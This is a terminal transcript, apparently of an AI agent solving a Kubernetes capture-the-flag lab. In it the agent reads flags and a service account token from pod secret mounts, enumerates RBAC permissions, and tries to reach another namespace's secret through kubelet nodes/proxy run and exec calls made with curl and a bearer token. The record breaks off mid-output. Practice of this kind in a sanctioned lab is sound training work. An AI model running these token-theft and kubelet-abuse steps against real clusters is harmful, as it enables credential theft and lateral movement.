drwxrwxrwt 3 root root 120 Mar 25 11:13 .
drwxr-xr-x 1 root root 4096 Mar 25 11:14 ..
drwxr-xr-x 2 root root 80 Mar 25 11:13 ..2026_03_25_11_13_34.1958996753
lrwxrwxrwx 1 root root 32 Mar 25 11:13 ..data -> ..2026_03_25_11_13_34.1958996753
lrwxrwxrwx 1 root root 11 Mar 25 11:13 flag -> ..data/flag
lrwxrwxrwx 1 root root 11 Mar 25 11:13 hint -> ..data/hint
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== CAT SECRET FILES ==='
[?2004l=== CAT SECRET FILES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'for f in /etc/secret/*; do echo "--- $f ---"; cat "$f"; echo; done' 2>&1
[?2004l--- /etc/secret/flag ---
flag_ctf{not_really_stealth_right}
--- /etc/secret/hint ---
"Is there any other plane flying above our head?
I hope this service account can interact with the Nodes, to help enumerate the pods and the namespaces..."
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== SA TOKEN ==='
[?2004l=== SA TOKEN ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- cat //var/run/secrets/kubernetes.io/serviceaccount/token 2>&1 | head -1
[?2004leyJhbGciOiJSUzI1NiIsImtpZCI6Ilgxbzh4WEJjeDBYSVJieGs0Y2lFWDNYOEp4M0NMVDgzLWtlUkVSdXJZdGMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODA1OTczMjE0LCJpYXQiOjE3NzQ0MzcyMTQsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiNmIyNDk5OTctNDA0Ni00NWI2LWEwNGItYjJhNmE5NWIwYzkzIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJiMiIsIm5vZGUiOnsibmFtZSI6Im5vZGUtMSIsInVpZCI6IjI2MzBmNjY3LTU5ZDQtNDVmNC1iYWM5LTZkYzY0MzFhYmUyOSJ9LCJwb2QiOnsibmFtZSI6ImIyLTY0NTRmZmNjZmItYm1mZ3MiLCJ1aWQiOiI0MWMxMDk3Ny1jOGQ2LTRjMzctOWU3OC0wM2E1NmQ5Yjg3NjMifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6InN0ZWFsdGgiLCJ1aWQiOiI4YzgwZTVjZC0yM2IyLTQ3ZGYtYjBlZi1jNWM1MGRjNTc2MTgifSwid2FybmFmdGVyIjoxNzc0NDQwODIxfSwibmJmIjoxNzc0NDM3MjE0LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6YjI6c3RlYWx0aCJ9.LbuSM-A6FdrcziBP8yumbUpP3IFfQaHnT1fgceBS5pjtlrfqSaz1NFwVdqYU4v1D8H2oALfnErLEErI_kbQlSilbu2PUW2taWcNFbPOB9fQQuU3TDbP7ddFGp8Gmg5ek65YmJ11j3Z4_jw38DCQ0vP7VR_NmHbKkbkGn4cgKVbOLdVKFVVelZLBjLgLkTUuXm5IhoxntzGVHNBrcbwgyCclXsVXFD5tNC0lq0_BmM9SJJDZzrzspKiW8wxi1EFAiIL8UpxRNUAWk6fgsQaxo_2yx_4wOfMTGV2bnl19z1d5nuSvphR-Gf5mEcUa4koLTpkurWBGc0EqP98fqNo2xTg[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== ENV ==='
[?2004l=== ENV ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- env 22>&1
[?2004lPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=b2-6454ffccfb-bmfgs
DEBIAN_FRONTEND=noninteractive
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
HOME=/root
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
Connection to 18.134.180.16 closed.FLAG FOUND: flag_ctf{not_really_stealth_right}
And there's a hint for Flag 2: "Is there any other plane flying above our head?" with the stealth service account token having Node access to enumerate pods and namespaces. Let me use that SA token to find more flags.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== STEALTH SA PERMS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list 2>&1 echo '=== NAMESPACES ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get ns 2>&1 echo '=== NODES ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get nodes -o wide 2>&1 echo '=== ALL PODS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get pods -A -o wide 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== STEALTH SA PERMS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list 2>&1
echo '=== NAMESPACES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get ns 2>&1
echo '=== NODES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get nodes -o wide 2>&1
echo '=== ALL PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get pods -A -o wide 2>&1
exit
echo '=== STEALTH SA PERMS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl auth can-i --list 2>&1
echo '=== NAMESPACES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get ns 2>&1
echo '=== NODES ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get nodes -o wide 2>&1
echo '=== ALL PODS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get pods -A -o wide 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== STEALTH SA PERMS ==='
[?2004l=== STEALTH SA PERMS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl auth can-i --list 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
nodes/proxy [] [] [get watch list]
nodes [] [] [get watch list]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== NAMESPACES ==='
[?2004l=== NAMESPACES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get ns 2>&1
[?2004lError from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:b2:stealth" cannot list resource "namespaces" in API group "" at the cluster scope
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== NODES ==='
[?2004l=== NODES ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get nodes -o wide 2>&1
[?2004lNAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
master-1 Ready control-plane 31m v1.35.1 10.0.217.130 <none> Ubuntu 22.04.5 LTS 6.8.0-1044-aws containerd://1.7.30
node-1 Ready <none> 31m v1.35.1 10.0.236.119 <none> Ubuntu 22.04.5 LTS 6.8.0-1044-aws containerd://1.7.30
node-2 Ready <none> 31m v1.35.1 10.0.191.212 <none> Ubuntu 22.04.5 LTS 6.8.0-1044-aws containerd://1.7.30
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== ALL PODS ==='
[?2004l=== ALL PODS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl get pods -A -o wide 2>&1
[?2004lError from server (Forbidden): pods is forbidden: User "system:serviceaccount:b2:stealth" cannot list resource "pods" in API group "" at the cluster scope
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.The stealth SA has nodes/proxy access — that's kubelet API access! Let me use it to enumerate all pods via the kubelet.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== KUBELET PODS ON NODE-1 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>&1 | head -5 echo '=== KUBELET PODS ON NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>&1 | head -5 echo '=== KUBELET PODS ON MASTER ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/master-1/proxy/pods/ 2>&1 | head -5 echo '=== JUST POD NAMES ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/master-1/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1 exit SSHEOF
<persisted-output> Output too large (142.4KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bxl434kks.txt Preview (first 2KB): ____ ____ ____ __ __ ____ _ _ __ ____ ____ / ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _) \___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )( (____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__) ------------------------------------------------------------ | | | Hidden '/etc/secret's are crossing our skies. | | Let’s find out what’s really going on. | | | ------------------------------------------------------------ | | | We have already identified a plane | | Have a look at the "b2" namespace. | | | ------------------------------------------------------------ | | | ! WARNING ! | | NO INTERNET CONNECTIVITY DETECTED | | | ------------------------------------------------------------ echo '=== KUBELET PODS ON NODE-1 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>&1 | head -5 echo '=== KUBELET PODS ON NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>&1 | head -5 echo '=== KUBELET PODS ON MASTER ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubectl get --raw /api/v1/nodes/master-1/proxy/pods/ 2>&1 | head -5 echo '=== JUST POD NAMES ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"[^\"]*\"" | head -30' 2>&1 ... </persisted-output>
grep '"name"' /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bxl434kks.txt | grep -v 'kube-\|calico\|coredns\|proxy\|controller\|scheduler\|etcd\|apiserver' | head -30
[?2004l"name":"f117-56dcc5bbcf-lhpjg" "name":"f117-56dcc5bbcf" "name":"secret-volume" "name":"stealth" "name":"secret-volume" "name":"stealth" "name":"secret-volume" "name":"xtables-lock" "name":"lib-modules" "name":"NODE_NAME" "name":"xtables-lock" "name":"lib-modules" "name":"xtables-lock" "name":"lib-modules" [?2004l"name":"jumphost-5f66c55446-d5bkl" "name":"jumphost-5f66c55446" "name":"jumphost" "name":"jumphost" "name":"xtables-lock" "name":"lib-modules" "name":"NODE_NAME" "name":"xtables-lock" "name":"lib-modules" "name":"xtables-lock" "name":"lib-modules" "name":"lib-modules" "name":"xtables-lock" "name":"lib-modules" "name":"NODE_NAME" "name":"xtables-lock"
There's an f117 pod (F-117 Nighthawk — another stealth plane)! It also has a secret-volume mount. Let me find what namespace it's in and read its secret.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo '=== F117 DETAILS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data.get(\"items\",[]):
name=item.get(\"metadata\",{}).get(\"name\",\"\")
ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
if \"f117\" in name:
print(f\"Pod: {name}, NS: {ns}\")
for c in item.get(\"spec\",{}).get(\"containers\",[]):
print(f\" Container: {c.get(\"name\")}\")
for vm in c.get(\"volumeMounts\",[]):
print(f\" VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPath\")}\")
"' 2>&1
echo '=== READ F117 SECRET VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117/ 2>&1'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg/f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
exit
SSHEOF ____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== F117 DETAILS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data.get(\"items\",[]):
name=item.get(\"metadata\",{}).get(\"name\",\"\")
ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
if \"f117\" in name:
print(f\"Pod: {name}, NS: {ns}\")
for c in item.get(\"spec\",{}).get(\"containers\",[]):
print(f\" Container: {c.get(\"name\")}\")
for vm in c.get(\"volumeMounts\",[]):
print(f\" VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPath\")}\")
"' 2>&1
echo '=== READ F117 SECRET VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117/ 2>&1'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg/f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
exit
echo '=== F117 DETAILS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c "
import sys,json
data=json.load(sys.stdin)
for item in data.get(\"items\",[]):
name=item.get(\"metadata\",{}).get(\"name\",\"\")
ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
if \"f117\" in name:
print(f\"Pod: {name}, NS: {ns}\")
for c in item.get(\"spec\",{}).get(\"containers\",[]):
print(f\" Container: {c.get(\"name\")}\")
for vm in c.get(\"volumeMounts\",[]):
print(f\" VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPath\")}\")
"' 2>&1
echo '=== READ F117 SECRET VIA KUBELET ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117/ 2>&1'
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg/f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== F117 DETAILS ==='
[?2004l=== F117 DETAILS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c " [Ac 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | python3 -c [K"
[?2004l[?2004h> import sys,json
[?2004l[?2004h> data=json.load(sys.stdin)
[?2004l[?2004h> for item in data.get(\"items\",[]):
[?2004l[?2004h> name=item.get(\"metadata\",{}).get(\"name\",\"\")
[?2004l[?2004h> ns=item.get(\"metadata\",{}).get(\"namespace\",\"\")
[?2004l[?2004h> if \"f117\" in name:
[?2004l[?2004h> print(f\"Pod: {name}, NS: {ns}\")
[?2004l[?2004h> for c in item.get(\"spec\",{}).get(\"containers\",[]):
[?2004l[?2004h> print(f\" Container: {c.get(\"name\")}\")
[?2004l[?2004h> for vm in c.get(\"volumeMounts\",[]):
[?2004l[?2004h> print(f\" VolumeMount: {vm.get(\"name\")} -> {vm.get(\"mountPaath\")}\")
[?2004l[?2004h> "' 2>&1
[?2004lsh: 1: python3: not found
command terminated with exit code 127
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== READ F117 SECRET VIA KUBELET ==='
[?2004l=== READ F117 SECRET VIA KUBELET ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f1117/ 2>&1'
[?2004lError from server (MethodNotAllowed): the server does not allow this method on the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw "/api/v1/nodes/node-1/proxy/exec/f117/f117-56dcc5bbcf-lhpjg//f117?command=cat&command=/etc/secret/flag&input=0&output=1&tty=0" 2>&1'
[?2004lError from server (NotFound): the server could not find the requested resource
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== FIND F117 NS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u' 2>&1 echo '=== KUBELET RUN VIA CURL ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 echo '=== TRY DIFFERENT RUN FORMAT ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/secret/flag" 2>&1 ' 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
| Have a look at the "b2" namespace. |
| |
------------------------------------------------------------
| |
| ! WARNING ! |
| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
echo '=== FIND F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u' 2>&1
echo '=== KUBELET RUN VIA CURL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY DIFFERENT RUN FORMAT ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/secret/flag" 2>&1
' 2>&1
exit
echo '=== FIND F117 NS ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"namespace\":\"[^\"]*\"" | sort -u' 2>&1
echo '=== KUBELET RUN VIA CURL ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat /etc/secret/flag" 2>&1
' 2>&1
echo '=== TRY DIFFERENT RUN FORMAT ==='
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default.svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/secret/flag" 2>&1
' 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== FIND F117 NS ==='
[?2004l=== FIND F117 NS ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-1/proxy/pods/ 2>/dev/null | grep -o "\"naamespace\":\"[^\"]*\"" | sort -u' 2>&1
[?2004l"namespace":"b2"
"namespace":"f117-19rks1k2"
"namespace":"kube-system"
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== KUBELET RUN VIA CURL ==='
[?2004l=== KUBELET RUN VIA CURL ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default..svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117" -d "cmd=cat //etc/secret/flag" 2>&1
[?2004l[?2004h> ' 2>&1
[?2004l{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "nodes \"node-1\" is forbidden: User \"system:serviceaccount:b2:stealth\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"name": "node-1",
"kind": "nodes"
},
"code": 403
}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== TRY DIFFERENT RUN FORMAT ==='
[?2004l=== TRY DIFFERENT RUN FORMAT ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kkubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc '
[?2004l[?2004h> TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[?2004l[?2004h> curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://kubernetes.default..svc/api/v1/nodes/node-1/proxy/run/f117/f117-56dcc5bbcf-lhpjg/f117?cmd=cat+/etc/ssecret/flag" 2>&1
[?2004l[?2004h> ' 2>&1
[?2004l{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "nodes \"node-1\" is forbidden: User \"system:serviceaccount:b2:stealth\" cannot create resource \"nodes/proxy\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"name": "node-1",
"kind": "nodes"
},
"code": 403
}[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.Found the f117 pod in namespace f117-19rks1k2. Let me check what permissions I have there.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== PERMS F117 NS ===' kubectl auth can-i --list -n f117-19rks1k2 2>&1 echo '=== PODS ===' kubectl get pods -n f117-19rks1k2 2>&1 echo '=== SECRETS ===' kubectl get secrets -n f117-19rks1k2 2>&1 exit SSHEOF
____ ____ ____ __ __ ____ _ _ __ ____ ____
/ ___)(_ _)( __) / _\ ( ) (_ _)/ )( \ ___ ( ) ( __)(_ _)
\___ \ )( ) _) / \/ (_/\ )( ) __ ((___)/ (_/\ ) _) )(
(____/ (__) (____)\_/\_/\____/(__) \_)(_/ \____/(____) (__)
------------------------------------------------------------
| |
| Hidden '/etc/secret's are crossing our skies. |
| Let’s find out what’s really going on. |
| |
------------------------------------------------------------
| |
| We have already identified a plane |
